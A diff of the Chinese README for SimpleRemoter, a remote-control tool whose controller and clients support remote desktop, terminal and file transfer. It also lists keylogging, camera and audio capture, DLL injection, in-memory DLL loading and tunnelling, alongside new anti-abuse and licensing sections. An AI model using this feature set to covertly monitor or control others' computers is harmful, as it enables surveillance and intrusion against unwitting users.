- **远程终端**:xterm.js + ConPTY/PTY,支持调整尺寸、Tab 补全
|
||||||
|
- **多用户体系**:管理员 / 普通用户分级、Challenge-Response 登录、不透明 token、按设备组授权
|
||||||
|
- **生产部署**:Nginx 反代 + Let's Encrypt + Keyboard Lock + 全屏控制、防止 ESC / F11 误退出
|
||||||
|
- **故意保持轻量**:不包含文件管理、媒体采集、注册表、服务管理等 MFC 主控专属功能——这些请走 MFC 主控
|
||||||
|
|
||||||
|
### 全平台支持矩阵
|
||||||
|
|
||||||
|
| | **客户端 (受控端)** | **主控端** |
|
||||||
|
|---|---|---|
|
||||||
|
| **Windows** | ✅ 完整功能 | ✅ MFC `YAMA.exe`(推荐)/ Go |
|
||||||
|
| **Linux** (X11) | ✅ 屏幕 + 终端 + 文件 + 剪贴板 | ✅ Go |
|
||||||
|
| **macOS** (Intel + Apple Silicon) | ✅ 屏幕 + 终端 + 文件 + 剪贴板 | ✅ Go |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 合规与反滥用
|
||||||
|
|
||||||
|
本项目长期坚持「明确的合规姿态」立场。本版本进一步收紧反滥用边界。
|
||||||
|
|
||||||
|
### 内置技术措施
|
||||||
|
|
||||||
|
源代码层面构筑多道独立可验证的反滥用屏障,详见 [反滥用技术措施清单](./docs/Compliance_TechnicalMeasures.md):
|
||||||
|
|
||||||
|
- **入站连接 IP 段校验**:试用版若被部署到公网会触发可见告警 latch
|
||||||
|
- **监听端口上限**:试用版限制 ≤ 2 个监听端口,防多租户中转改造
|
||||||
|
- **应用层 RTT 反代理**:LAN 内 RTT 阈值检测,反向代理 / 隧道会被识别
|
||||||
|
- **多层授权架构**:V2 ECDSA 离线 + V1 在线 + 试用版分级,每一层限制独立
|
||||||
|
- **Web 主控认证**:强制 Challenge-Response 登录、登录限流、不透明 token、操作可审计
|
||||||
|
|
||||||
|
### 合规文档
|
||||||
|
|
||||||
|
| 文档 | 内容 |
|
||||||
|
|---|---|
|
||||||
|
| 📖 [反滥用与合规使用政策](./docs/Compliance_AntiAbuse.md) | 完整的发行方-使用方责任划分 |
|
||||||
|
| 📖 [反滥用技术措施清单](./docs/Compliance_TechnicalMeasures.md) | 每一道屏障的源代码位置、设计动机、已知局限 |
|
||||||
|
|
||||||
> [!IMPORTANT]
|
> [!IMPORTANT]
|
||||||
> **网络连接与隐私声明**
|
> **使用本软件即视为您已阅读、理解并接受上述合规文档全部条款。** 如您不能或不愿接受任一条款,请立即停止使用并销毁本软件副本。
|
||||||
>
|
|
||||||
> 主控程序(服务端)会根据授权状态与授权服务器进行网络通信:
|
### 网络连接与隐私
|
||||||
>
|
|
||||||
> | 版本类型 | 连接行为 |
|
| 版本类型 | 连接行为 |
|
||||||
> |---------|---------|
|
|---|---|
|
||||||
> | 试用版本 | 维持与授权服务器的持续连接 |
|
| 试用版本 | 维持与授权服务器的持续连接 |
|
||||||
> | V1/V2 授权版本 | 启动时连接验证,通过后断开 |
|
| V1/V2 授权版本 | 启动时连接验证,通过后断开 |
|
||||||
> | V2 离线授权版本 | 无需连接授权服务器 |
|
| V2 离线授权版本 | 无需连接授权服务器 |
|
||||||
>
|
|
||||||
> 除获得离线授权外,主控程序会与授权服务器进行必要的数据交互(如检测破解行为、验证授权有效性)。
|
除获得离线授权外,主控程序会与授权服务器进行必要的数据交互(如检测破解行为、验证授权有效性)。
|
||||||
>
|
|
||||||
> **使用本软件即表示您接受主控程序与授权服务器之间的数据传输。如您不同意,请勿使用本软件。**
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -121,240 +139,149 @@
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
- **多种截图方式**:GDI(兼容性强)、DXGI(高性能)、虚拟桌面(后台运行)
|
- **多种屏幕捕获**:GDI / DXGI / 虚拟桌面(Windows)、X11 + XShm(Linux)、CGDisplayStream(macOS)
|
||||||
- **智能压缩算法**:
|
- **智能压缩**:DIFF 差分(SSE2 优化)/ RGB565(节省 50% 带宽)/ **H.264**(视频级压缩,x264 + VideoToolbox + WebCodecs)/ 灰度模式
|
||||||
- DIFF 差分算法 - SSE2 优化,仅传输变化区域
|
- **自适应质量**:根据 RTT 自动调节帧率(5-30 FPS)、分辨率、压缩算法
|
||||||
- RGB565 算法 - 节省 50% 带宽
|
- **多显示器**:多屏切换 + 多屏上墙
|
||||||
- H.264 编码 - 视频级压缩,适合高帧率场景
|
- **跨设备文件拖拽**:Ctrl+C/V 跨设备复制粘贴文件
|
||||||
- 灰度模式 - 极低带宽消耗
|
- **Web 远程桌面**:浏览器直接访问,手机/平板可用([配置指南](./docs/WebHTTPS.md))
|
||||||
- **自适应质量**:根据网络 RTT 自动调整帧率(5-30 FPS)、分辨率和压缩算法
|
|
||||||
- **多显示器**:支持多屏切换和多屏上墙显示
|

|
||||||
- **隐私屏幕**:被控端屏幕可隐藏,支持锁屏状态下控制
|
|
||||||
- **文件拖拽**:Ctrl+C/V 跨设备复制粘贴文件
|
|
||||||
- **Web 远程桌面**:通过浏览器访问远程桌面,支持手机/平板([配置指南](./docs/WebHTTPS.md))
|
|
||||||
|
|
||||||
### 文件管理
|
### 文件管理
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
- **V2 传输协议**:全新设计,支持大文件(>4GB)
|
- **V2 传输协议**:支持 >4GB 大文件、断点续传、SHA-256 校验
|
||||||
- **断点续传**:网络中断后自动恢复,状态持久化
|
|
||||||
- **C2C 传输**:客户端之间直接传输,无需经过主控
|
- **C2C 传输**:客户端之间直接传输,无需经过主控
|
||||||
- **完整性校验**:SHA-256 哈希验证,确保文件完整
|
- **批量操作**:搜索、压缩、批量传输
|
||||||
- **批量操作**:支持文件搜索、压缩、批量传输
|
|
||||||
|
|
||||||
### 终端管理
|
### 终端管理
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
- **交互式 Shell**:完整的命令行体验,支持 Tab 补全
|
- **交互式 Shell**:Tab 补全、ANSI 转义、调整尺寸
|
||||||
- **ConPTY 技术**:Windows 10+ 原生伪终端支持
|
- **现代终端**:Windows ConPTY、Linux/macOS PTY
|
||||||
- **现代 Web 终端**:基于 WebView2 + xterm.js(v1.2.7+)
|
- **Web 终端**:xterm.js + WebSocket,跟原生体验一致
|
||||||
- **终端尺寸调整**:自适应窗口大小
|
|
||||||
|
|
||||||
### 进程与窗口管理
|
|
||||||
|
|
||||||
| 进程管理 | 窗口管理 |
|
|
||||||
|---------|---------|
|
|
||||||
|  |  |
|
|
||||||
|
|
||||||
- **进程管理**:查看进程列表、CPU/内存占用、启动/终止进程
|
|
||||||
- **代码注入**:向目标进程注入 DLL(需管理员权限)
|
|
||||||
- **窗口控制**:最大化/最小化/隐藏/关闭窗口
|
|
||||||
|
|
||||||
### 媒体功能
|
|
||||||
|
|
||||||
| 视频管理 | 语音管理 |
|
|
||||||
|---------|---------|
|
|
||||||
|  |  |
|
|
||||||
|
|
||||||
- **摄像头监控**:实时视频流,支持分辨率调整
|
|
||||||
- **音频监听**:远程声音采集,支持双向语音
|
|
||||||
- **键盘记录**:在线/离线记录模式
|
|
||||||
|
|
||||||
### 其他功能
|
### 其他功能
|
||||||
|
|
||||||
- **服务管理**:查看和控制 Windows 服务
|
| 模块 | 能力 |
|
||||||
- **注册表浏览**:只读方式浏览注册表内容
|
|---|---|
|
||||||
- **会话控制**:远程注销/关机/重启
|
| **进程管理** | 进程列表、CPU/内存占用、终止、DLL 注入 |
|
||||||
- **SOCKS 代理**:通过客户端建立代理隧道
|
| **窗口管理** | 最大化/最小化/隐藏/关闭 |
|
||||||
- **FRP 穿透**:内置 FRP 支持,轻松穿透内网
|
| **媒体采集** | 摄像头、双向语音、键盘记录 |
|
||||||
- **代码执行**:远程执行 DLL,支持热更新
|
| **系统控制** | 服务管理、注册表、会话注销/关机 |
|
||||||
|
| **网络功能** | SOCKS 代理、FRP 穿透、端口映射 |
|
||||||
|
| **代码执行** | 远程执行 DLL、内存加载、热更新 |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 技术亮点
|
## 全平台支持
|
||||||
|
|
||||||
### 高性能网络架构
|
### Windows 客户端
|
||||||
|
|
||||||
```
|
**系统要求**:Windows 7 SP1 及以上
|
||||||
┌─────────────────────────────────────────────────────────┐
|
**功能完整性**:✅ 全部功能支持
|
||||||
│ IOCP 通信模型 │
|
|
||||||
├─────────────────────────────────────────────────────────┤
|
|
||||||
│ • I/O 完成端口:Windows 最高效的异步 I/O 模型 │
|
|
||||||
│ • 单主控支持 10,000+ 并发连接 │
|
|
||||||
│ • 支持 TCP / UDP / KCP 三种传输协议 │
|
|
||||||
│ • 自动分块处理大数据包(最大 128KB 发送缓冲) │
|
|
||||||
└─────────────────────────────────────────────────────────┘
|
|
||||||
```
|
|
||||||
|
|
||||||
### 自适应质量控制
|
### Linux 客户端(v1.2.5+)
|
||||||
|
|
||||||
基于 RTT(Round-Trip Time)的智能质量调整系统:
|
**系统要求**:
|
||||||
|
- 显示服务器:X11/Xorg(暂不支持 Wayland)
|
||||||
|
- 必需库:libX11;推荐库:libXtst(XTest 扩展)、libXss(空闲检测)
|
||||||
|
|
||||||
| RTT 延迟 | 质量等级 | 帧率 | 分辨率 | 压缩算法 | 适用场景 |
|
| 功能 | 状态 | 实现 |
|
||||||
|---------|---------|------|--------|---------|---------|
|
|---|---|---|
|
||||||
| < 30ms | Ultra | 25 FPS | 原始 | DIFF | 局域网办公 |
|
| 远程桌面 | ✅ | X11 屏幕捕获 + libx264 H.264 硬件编码 |
|
||||||
| 30-80ms | High | 20 FPS | 原始 | RGB565 | 一般办公 |
|
| 远程终端 | ✅ | PTY 交互式 Shell |
|
||||||
| 80-150ms | Good | 20 FPS | ≤1080p | H.264 | 跨网/视频 |
|
| 文件管理 | ✅ | V2 协议、双向传输、大文件 |
|
||||||
| 150-250ms | Medium | 15 FPS | ≤900p | H.264 | 跨网办公 |
|
| 进程管理 | ✅ | 列表 + 终止 |
|
||||||
| 250-400ms | Low | 12 FPS | ≤720p | H.264 | 较差网络 |
|
| 剪贴板同步 | ✅ | xclip / xsel 外部工具,支持文件 URI |
|
||||||
| > 400ms | Minimal | 8 FPS | ≤540p | H.264 | 极差网络 |
|
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
|
||||||
|
| 守护进程 | ✅ | 双 fork 守护化 |
|
||||||
|
|
||||||
- **零额外开销**:复用心跳包计算 RTT
|
**编译**:`cd linux && cmake . && make`
|
||||||
- **快速降级**:2 次检测即触发,响应网络波动
|
|
||||||
- **谨慎升级**:5 次稳定后才提升质量
|
|
||||||
- **冷却机制**:防止频繁切换
|
|
||||||
|
|
||||||
### V2 文件传输协议
|
### macOS 客户端(v1.3.2+)
|
||||||
|
|
||||||
```cpp
|
**系统要求**:
|
||||||
// 77 字节协议头 + 文件名 + 数据载荷
|
- macOS 10.15 (Catalina) 及以上
|
||||||
struct FileChunkPacketV2 {
|
- 架构:Intel (x64) 和 Apple Silicon (arm64) 通用二进制
|
||||||
uint8_t cmd; // COMMAND_SEND_FILE_V2 = 85
|
- 系统权限:屏幕录制、辅助功能、完全磁盘访问
|
||||||
uint64_t transferID; // 传输会话 ID
|
|
||||||
uint64_t srcClientID; // 源客户端 ID (0=主控端)
|
|
||||||
uint64_t dstClientID; // 目标客户端 ID (0=主控端, C2C)
|
|
||||||
uint32_t fileIndex; // 文件编号 (0-based)
|
|
||||||
uint32_t totalFiles; // 总文件数
|
|
||||||
uint64_t fileSize; // 文件大小(支持 >4GB)
|
|
||||||
uint64_t offset; // 当前块偏移
|
|
||||||
uint64_t dataLength; // 本块数据长度
|
|
||||||
uint64_t nameLength; // 文件名长度
|
|
||||||
uint16_t flags; // 标志位 (FFV2_LAST_CHUNK 等)
|
|
||||||
uint16_t checksum; // CRC16 校验(可选)
|
|
||||||
uint8_t reserved[8]; // 预留扩展
|
|
||||||
// char filename[nameLength]; // UTF-8 相对路径
|
|
||||||
// uint8_t data[dataLength]; // 文件数据
|
|
||||||
};
|
|
||||||
```
|
|
||||||
|
|
||||||
**特性**:
|
| 功能 | 状态 | 实现 |
|
||||||
- 大文件支持(uint64_t 突破 4GB 限制)
|
|---|---|---|
|
||||||
- 断点续传(状态持久化到 `%TEMP%\FileTransfer\`)
|
| 远程桌面 | ✅ | CGDisplayStream + VideoToolbox H.264 硬件编码 |
|
||||||
- SHA-256 完整性校验
|
| 键鼠控制 | ✅ | CGEvent,支持双击、拖拽 |
|
||||||
- C2C 直传(客户端到客户端)
|
| 远程终端 | ✅ | PTY 交互式 Shell(zsh/bash) |
|
||||||
- V1/V2 协议兼容
|
| 文件管理 | ✅ | V2 协议、大文件 |
|
||||||
|
| 进程管理 | ✅ | proc_listpids + 终止 |
|
||||||
|
| 剪贴板同步 | ✅ | NSPasteboard,支持文件 URL + NSFilenamesPboardType |
|
||||||
|
| 守护模式 | ✅ | `-d` 后台运行、电源管理、空闲检测 |
|
||||||
|
|
||||||
### 屏幕传输优化
|
**编译**:`cd macos && ./build.sh`
|
||||||
|
|
||||||
- **SSE2 指令集**:像素差分计算硬件加速
|
### Go 主控(v1.3.4+)
|
||||||
- **多线程并行**:线程池分块处理屏幕数据
|
|
||||||
- **滚动检测**:识别滚动场景,减少 50-80% 带宽
|
|
||||||
- **H.264 编码**:基于 x264,GOP 控制,视频级压缩
|
|
||||||
|
|
||||||
### 安全机制
|
**系统要求**:Go 1.21+(仅编译时);二进制运行无依赖
|
||||||
|
|
||||||
| 层级 | 措施 |
|
| 能力 | 实现 |
|
||||||
|------|------|
|
|---|---|
|
||||||
| **传输加密** | AES-256 数据加密,可配置 IV |
|
| 远程桌面 | H.264 → WebSocket → WebCodecs,1080P @ 20fps |
|
||||||
| **身份验证** | 签名验证 + HMAC 认证 |
|
| 远程终端 | xterm.js + PTY/ConPTY 透明转发 |
|
||||||
| **授权控制** | 序列号绑定(IP/域名),多级授权 |
|
| 多用户 | Challenge-Response + 不透明 token + 按组授权 |
|
||||||
| **文件校验** | SHA-256 完整性验证 |
|
| 部署 | Nginx 反代 / Let's Encrypt / systemd unit / `/etc/environment` |
|
||||||
| **会话隔离** | Session 0 独立处理 |
|
|
||||||
|
|
||||||
### 依赖库
|
**编译**:`cd server/go && go build -o server_linux_amd64 ./cmd`
|
||||||
|
|
||||||
| 库 | 版本 | 用途 |
|
|
||||||
|----|------|------|
|
|
||||||
| zlib | 1.3.1 | 通用压缩 |
|
|
||||||
| zstd | 1.5.7 | 高速压缩 |
|
|
||||||
| x264 | 0.164 | H.264 编码 |
|
|
||||||
| libyuv | 190 | YUV 转换 |
|
|
||||||
| HPSocket | 6.0.3 | 网络 I/O |
|
|
||||||
| jsoncpp | 1.9.6 | JSON 解析 |
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 系统架构
|
## 系统架构
|
||||||
|
|
||||||
|
### 全平台拓扑
|
||||||
|
|
||||||
```
|
```
|
||||||
┌─────────────────────────────────────────────────────────────────────────────┐
|
┌────────────────────────────────────────────────────────┐
|
||||||
│ 多层授权架构 (Multi-Layer Authorization) │
|
│ 主控层 │
|
||||||
├─────────────────────────────────────────────────────────────────────────────┤
|
|
||||||
│ │
|
│ │
|
||||||
│ ┌─────────────────────┐ │
|
│ ┌──────────────────┐ ┌──────────────────┐ │
|
||||||
│ │ 超级管理员 │ │
|
│ │ C++ MFC 主控 │ │ Go 主控 │ │
|
||||||
│ │ (授权服务器) │ │
|
│ │ YAMA.exe │ │ (Win/Linux/Mac) │ │
|
||||||
│ │ Super Admin │ │
|
│ │ Windows only │ │ Web UI 全平台 │ │
|
||||||
│ └─────────┬───────────┘ │
|
│ └────────┬─────────┘ └────────┬─────────┘ │
|
||||||
│ │ │
|
└────────────┼──────────────────────────┼─────────────────┘
|
||||||
│ ┌──────────────┼──────────────┐ │
|
|
||||||
│ │ V2 授权 │ V2 授权 │ V2 授权 │
|
|
||||||
│ │ (ECDSA) │ (ECDSA) │ (ECDSA) │
|
|
||||||
│ ▼ ▼ ▼ │
|
|
||||||
│ ┌───────────┐ ┌───────────┐ ┌───────────┐ │
|
|
||||||
│ │ 第一层 A │ │ 第一层 B │ │ 第一层 C │ ◄── 独立运营 │
|
|
||||||
│ │ Layer-1 A │ │ Layer-1 B │ │ Layer-1 C │ 完全隔离 │
|
|
||||||
│ └─────┬─────┘ └─────┬─────┘ └─────┬─────┘ │
|
|
||||||
│ │ │ │ │
|
|
||||||
│ ┌────────┴────────┐ │ ┌──────┴──────┐ │
|
|
||||||
│ │ V1 授权 │ │ │ V1 授权 │ │
|
|
||||||
│ ▼ ▼ ▼ ▼ ▼ │
|
|
||||||
│ ┌──────────┐ ┌──────────┐ ... ┌──────────┐ ┌──────────┐ │
|
|
||||||
│ │ 下级 A1 │ │ 下级 A2 │ │ 下级 C1 │ │ 下级 C2 │ │
|
|
||||||
│ │ Master │ │ Master │ │ Master │ │ Master │ │
|
|
||||||
│ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘ │
|
|
||||||
│ │ │ │ │ │
|
|
||||||
│ ▼ ▼ ▼ ▼ │
|
|
||||||
│ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐ │
|
|
||||||
│ │ 客户端 │ │ 客户端 │ │ 客户端 │ │ 客户端 │ │
|
|
||||||
│ │ 10,000+ │ │ 10,000+ │ │ 10,000+ │ │ 10,000+ │ │
|
|
||||||
│ └─────────┘ └─────────┘ └─────────┘ └─────────┘ │
|
|
||||||
│ │
|
│ │
|
||||||
├─────────────────────────────────────────────────────────────────────────────┤
|
│ TCP (自定义二进制协议) │ TCP (设备) + WS (浏览器)
|
||||||
│ 授权类型 验证方式 特点 │
|
└────────┬─────────────────┘
|
||||||
│ ───────────────────────────────────────────────────────────────────────── │
|
│
|
||||||
│ V2 授权 ECDSA P-256 签名 支持离线验证,下级连接数限制 │
|
┌──────────────┼──────────────┐
|
||||||
│ V1 授权 HMAC + 在线验证 连接上级服务器验证 │
|
▼ ▼ ▼
|
||||||
│ 试用版 在线验证 功能受限,需保持连接 │
|
┌─────────┐ ┌─────────┐ ┌─────────┐
|
||||||
└─────────────────────────────────────────────────────────────────────────────┘
|
│ Windows │ │ Linux │ │ macOS │
|
||||||
|
│ 客户端 │ │ 客户端 │ │ 客户端 │
|
||||||
|
│ (DXGI) │ │ (X11) │ │ (CG) │
|
||||||
|
└─────────┘ └─────────┘ └─────────┘
|
||||||
```
|
```
|
||||||
|
|
||||||
### 架构优势
|
### 多层授权(简化视图)
|
||||||
|
|
||||||
| 特性 | 说明 |
|
```
|
||||||
|------|------|
|
超级管理员(授权服务器)
|
||||||
| **层级控制** | 超级用户可管理任意主控程序,支持无限层级 |
|
│ V2 授权 (ECDSA P-256)
|
||||||
| **完全隔离** | 不同第一层用户的授权、数据、客户端完全隔离 |
|
▼
|
||||||
| **独立运营** | 第一层用户可独立定价、发放授权,打造专属品牌 |
|
第一层主控 ──┬── 第一层主控 ──┬── 第一层主控 ◄── 独立运营 / 完全隔离
|
||||||
| **水平扩展** | 单 Master 支持 10,000+ 客户端,多层架构可达百万级 |
|
│ V1 │ V1 │ V1
|
||||||
| **离线支持** | V2 授权支持完全离线验证,无需依赖上游服务 |
|
▼ ▼ ▼
|
||||||
|
下级主控 → 客户端 (10,000+) → 设备群
|
||||||
|
```
|
||||||
|
|
||||||
### 主控程序(Server)
|
| 授权 | 验证 | 特点 |
|
||||||
|
|---|---|---|
|
||||||
|
| V2 授权 | ECDSA P-256 签名 | 离线验证,下级连接数限制 |
|
||||||
|
| V1 授权 | HMAC + 在线验证 | 连接上级服务器验证 |
|
||||||
|
| 试用版 | 在线验证 | 功能受限、连接限制(详见 [合规文档](./docs/Compliance_AntiAbuse.md)) |
|
||||||
|
|
||||||
主控程序 **YAMA.exe** 提供图形化管理界面:
|
完整说明:[多层授权方案](./docs/MultiLayerLicense.md)
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
- 基于 IOCP 的高性能服务端
|
|
||||||
- 客户端分组管理
|
|
||||||
- 实时状态监控(RTT、地理位置、活动窗口)
|
|
||||||
- 一键生成客户端
|
|
||||||
|
|
||||||
### 受控程序(Client)
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
**运行形式**:
|
|
||||||
|
|
||||||
| 类型 | 说明 |
|
|
||||||
|------|------|
|
|
||||||
| `ghost.exe` | 独立可执行文件,无外部依赖 |
|
|
||||||
| `TestRun.exe` + `ServerDll.dll` | 分离加载,支持内存加载 DLL |
|
|
||||||
| Windows 服务 | 后台运行,支持锁屏控制 |
|
|
||||||
| Linux 客户端 | 跨平台支持(v1.2.5+) |
|
|
||||||
| macOS 客户端 | 跨平台支持(v1.3.2+) |
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -364,62 +291,34 @@ struct FileChunkPacketV2 {
|
|||||||
|
|
||||||
无需编译,下载即用:
|
无需编译,下载即用:
|
||||||
|
|
||||||
1. **下载发布版** - 从 [Releases](https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下载最新版本
|
1. **下载发布版** - 从 [Releases](https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest) 下载最新版本
|
||||||
2. **启动主控** - 运行 `YAMA.exe`,输入授权信息(见下方试用口令)
|
2. **启动主控** - 运行 `YAMA.exe`(或 Linux 上的 `server_linux_amd64`),输入授权信息
|
||||||
3. **生成客户端** - 点击工具栏「生成」按钮,配置服务器 IP 和端口
|
3. **生成客户端** - 工具栏「生成」配置服务器 IP 和端口
|
||||||
4. **部署客户端** - 将生成的客户端复制到目标机器并运行
|
4. **部署客户端** - 复制到目标机器运行
|
||||||
5. **开始控制** - 客户端上线后,双击即可打开远程桌面
|
5. **开始控制** - 客户端上线后双击远程桌面
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> 首次测试建议在同一台机器上运行主控和客户端,使用 `127.0.0.1` 作为服务器地址。
|
> 首次测试建议在同一台机器上运行主控和客户端,使用 `127.0.0.1` 作为服务器地址。
|
||||||
|
|
||||||
### 编译要求
|
### Go 主控部署(VPS)
|
||||||
|
|
||||||
- **操作系统**:Windows 10/11 或 Windows Server 2016+
|
参见 [Web 远程桌面配置](./docs/WebHTTPS.md)。最小步骤:
|
||||||
- **开发环境**:Visual Studio 2019 / 2022 / 2026
|
|
||||||
- **SDK**:Windows 10 SDK (10.0.19041.0+)
|
|
||||||
|
|
||||||
### 编译步骤
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# 1. 克隆代码(必须使用 git clone,不要下载 zip)
|
# 1. 在 VPS 上跑 Go 主控
|
||||||
git clone https://github.com/yuanyuanxiang/SimpleRemoter.git
|
nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||||
|
|
||||||
# 2. 打开解决方案
|
# 2. nginx 反代 9001 到 HTTPS
|
||||||
# 使用 VS2019+ 打开 SimpleRemoter.sln
|
# 详见 docs/WebHTTPS.md
|
||||||
|
|
||||||
# 3. 选择配置
|
# 3. 浏览器打开 https://yourdomain.com/,登录、添加客户端
|
||||||
# Release | x86 或 Release | x64
|
|
||||||
|
|
||||||
# 4. 编译
|
|
||||||
# 生成 -> 生成解决方案
|
|
||||||
```
|
```
|
||||||
|
|
||||||
**常见问题**:
|
### 试用授权(v1.2.4+)
|
||||||
- 依赖库冲突:[#269](https://github.com/yuanyuanxiang/SimpleRemoter/issues/269)
|
|
||||||
- 非中文系统乱码:[#157](https://github.com/yuanyuanxiang/SimpleRemoter/issues/157)
|
|
||||||
- 编译器兼容性:[#171](https://github.com/yuanyuanxiang/SimpleRemoter/issues/171)
|
|
||||||
|
|
||||||
### 部署方式
|
提供 2 年有效期、20 并发连接、仅限内网的试用口令:
|
||||||
|
|
||||||
#### 内网部署
|
|
||||||
|
|
||||||
主控与客户端在同一局域网,客户端直连主控 IP:Port。
|
|
||||||
|
|
||||||
#### 外网部署(FRP 穿透)
|
|
||||||
|
|
||||||
```
|
```
|
||||||
客户端 ──> VPS (FRP Server) ──> 本地主控 (FRP Client)
|
|
||||||
```
|
|
||||||
|
|
||||||
详细配置请参考:[反向代理部署说明](./反向代理.md)
|
|
||||||
|
|
||||||
### 授权说明
|
|
||||||
|
|
||||||
自 v1.2.4 起提供试用口令(2 年有效期,20 并发连接,仅限内网):
|
|
||||||
|
|
||||||
```
|
|
||||||
授权方式:按计算机 IP 绑定
|
|
||||||
主控 IP:127.0.0.1
|
主控 IP:127.0.0.1
|
||||||
序列号:12ca-17b4-9af2-2894
|
序列号:12ca-17b4-9af2-2894
|
||||||
密码:20260201-20280201-0020-be94-120d-20f9-919a
|
密码:20260201-20280201-0020-be94-120d-20f9-919a
|
||||||
@@ -430,286 +329,129 @@ git clone https://github.com/yuanyuanxiang/SimpleRemoter.git
|
|||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> **多层授权方案**
|
> **多层授权方案**
|
||||||
>
|
>
|
||||||
> SimpleRemoter 采用企业级多层授权架构,支持代理商/开发者独立运营:
|
> 支持代理商/开发者独立运营:第一层用户获得授权后可完全离线使用,下级用户只连接到您的服务器。完整说明:[多层授权方案](./docs/MultiLayerLicense.md)
|
||||||
> - **离线验证**:第一层用户获得授权后可完全离线使用
|
|
||||||
> - **独立控制**:您的下级用户只连接到您的服务器,数据完全由您掌控
|
### 编译
|
||||||
> - **自由定制**:支持二次开发,打造您的专属版本
|
|
||||||
>
|
- **C++ 主控 & Windows 客户端**:VS 2019/2022/2026 打开 `SimpleRemoter.sln` → Release | x64
|
||||||
> 📖 **[查看完整授权方案说明](./docs/MultiLayerLicense.md)**
|
- **Linux 客户端**:`cd linux && cmake . && make`
|
||||||
|
- **macOS 客户端**:`cd macos && ./build.sh`
|
||||||
|
- **Go 主控**:`cd server/go && go build ./cmd`
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 用户文档
|
## 用户文档
|
||||||
|
|
||||||
针对不同用户角色提供完整的使用文档:
|
| 文档 | 适用对象 | 内容 |
|
||||||
|
|---|---|---|
|
||||||
| 文档 | 适用对象 | 内容简介 |
|
| 📖 [快速部署指南](./docs/QuickStart.md) | 首次使用者 | 10 分钟首次部署 |
|
||||||
|------|---------|---------|
|
| 📖 [多级网络搭建指南](./docs/NetworkSetup.md) | 需要管理下级的用户 | 多级网络架构 |
|
||||||
| 📖 [快速部署指南](./docs/QuickStart.md) | 首次使用者 | 10 分钟完成首次部署,导入授权、配置网络、生成受管程序 |
|
| 📖 [日常使用手册](./docs/UserManual.md) | 所有用户 | 全功能详解 |
|
||||||
| 📖 [多级网络搭建指南](./docs/NetworkSetup.md) | 需要管理下级的用户 | 构建总控→二级→受管端的多级网络架构 |
|
| 📖 [代理商运营手册](./docs/AgentManual.md) | 代理商/分销商 | 下级授权、FRP 配置 |
|
||||||
| 📖 [日常使用手册](./docs/UserManual.md) | 所有用户 | 远程桌面、文件管理、终端、进程管理等功能详解 |
|
| 📖 [定制化开发指南](./docs/CustomizationGuide.md) | 技术型客户 | 品牌定制、二次开发 |
|
||||||
| 📖 [代理商运营手册](./docs/AgentManual.md) | 代理商/分销商 | 下级授权管理、FRP 代理服务配置 |
|
| 📖 [Web 远程桌面配置](./docs/WebHTTPS.md) | 移动端 / Go 主控用户 | HTTPS 反代、域名配置 |
|
||||||
| 📖 [定制化开发指南](./docs/CustomizationGuide.md) | 技术型客户 | 品牌定制、界面修改、二次开发 |
|
| 📖 [反滥用政策](./docs/Compliance_AntiAbuse.md) | 所有使用方 | 合规边界、责任划分 |
|
||||||
| 📖 [Web 远程桌面配置](./docs/WebHTTPS.md) | 移动端用户 | 通过浏览器访问远程桌面,支持手机/平板 |
|
| 📖 [反滥用技术措施](./docs/Compliance_TechnicalMeasures.md) | 合规审查方 | 屏障代码位置 + 设计动机 |
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## 客户端支持
|
|
||||||
|
|
||||||
### Windows 客户端
|
|
||||||
|
|
||||||
**系统要求**:Windows 7 SP1 及以上
|
|
||||||
|
|
||||||
**功能完整性**:✅ 全部功能支持
|
|
||||||
|
|
||||||
### Linux 客户端(v1.2.5+)
|
|
||||||
|
|
||||||
**系统要求**:
|
|
||||||
- 显示服务器:X11/Xorg(暂不支持 Wayland)
|
|
||||||
- 必需库:libX11
|
|
||||||
- 推荐库:libXtst(XTest 扩展)、libXss(空闲检测)
|
|
||||||
|
|
||||||
**功能支持**:
|
|
||||||
|
|
||||||
| 功能 | 状态 | 实现 |
|
|
||||||
|------|------|------|
|
|
||||||
| 远程桌面 | ✅ | X11 屏幕捕获,鼠标/键盘控制 |
|
|
||||||
| 远程终端 | ✅ | PTY 交互式 Shell |
|
|
||||||
| 文件管理 | ✅ | 双向传输,大文件支持 |
|
|
||||||
| 进程管理 | ✅ | 进程列表、终止进程 |
|
|
||||||
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
|
|
||||||
| 守护进程 | ✅ | 双 fork 守护化 |
|
|
||||||
| 剪贴板 | ⏳ | 开发中 |
|
|
||||||
| 会话管理 | ⏳ | 开发中 |
|
|
||||||
|
|
||||||
**编译方式**:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd linux
|
|
||||||
cmake .
|
|
||||||
make
|
|
||||||
```
|
|
||||||
|
|
||||||
### macOS 客户端(v1.3.2+)
|
|
||||||
|
|
||||||
**系统要求**:
|
|
||||||
- macOS 10.15 (Catalina) 及以上
|
|
||||||
- 架构支持:Intel (x64) 和 Apple Silicon (arm64) 通用二进制
|
|
||||||
- 需要授予系统权限:屏幕录制、辅助功能、完全磁盘访问
|
|
||||||
|
|
||||||
**功能支持**:
|
|
||||||
|
|
||||||
| 功能 | 状态 | 实现 |
|
|
||||||
